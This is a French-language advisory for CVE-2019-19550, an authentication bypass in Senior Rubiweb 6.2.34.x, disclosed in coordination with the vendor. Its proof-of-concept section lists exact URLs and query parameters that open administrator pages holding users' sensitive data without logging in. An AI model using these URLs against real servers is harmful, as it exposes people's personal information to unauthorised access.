CVE-2019-19550

---

[Description]

Contournement de l'authentification à distance dans Senior Rubiweb 6.2.34.28 et 6.2.34.37, permettant d'obtenir un accès administrateur aux informations sensibles des utilisateurs concernés utilisant des versions vulnérables. L'attaquant n'a besoin que de fournir l'URL correcte.

---

[Dates importantes]

• Annonce (au fournisseur): 2019-12-02
• Date de divulgation publique: 2020-01-30

---

[Type de vulnérabilité]

Contrôle d'accès incorrect

---

[Fournisseur du produit]

Senior

---

[Base de code du produit affecté]

• Rubiweb - 6.2.34.37
• Rubiweb - 6.2.34.28
• D'autres versions peuvent être affectées, notamment dans la même famille (pas encore testées)

---

[Composant affecté]

Rubiweb

---

[Type d'attaque]

À distance

---

[Impact : divulgation d'informations]

Vrai

---

[Vecteurs d'attaque]

L'accès aux informations sensibles est disponible publiquement sans exigences particulières (seulement l'URI correcte)

---

[Le fournisseur a-t-il confirmé ou reconnu la vulnérabilité?]

Vrai

---

[PoC - Preuve de concept]

1. Essayez simplement de vous connecter au portail authentifié pour confirmer l'existence et la version du produit affecté:
   • hXXp://subdomain.customer.tld:8080/rubiweb/
2. Accédez à la page vulnérable (administrateur sans authentification):
   • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=EXESENHA&SIS=FP&LOGINKIND=1
   • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=ENTRANCEREL&SIS=FP&NOME=FPIN103.ANU

---

[Découvreur]

Mauricio Santos (R&D UnderProtection) et Hesron Hori (R&D UnderProtection) et @redteambrasil

---

[Remerciements]

Senior - Équipe de sécurité de l'information du fournisseur qui a collaboré à une divulgation coordonnée

---

[Référence]

• https://www.underprotection.com.br
• https://documentacao.senior.com.br/tecnologia/6.2.34/index.htm
• https://documentacao.senior.com.br/tecnologia/6.2.34/index.htm#central-de-configuracao/CfgWebApplicationsForm.htm%23CfgWebApplicationsForm_edtUserName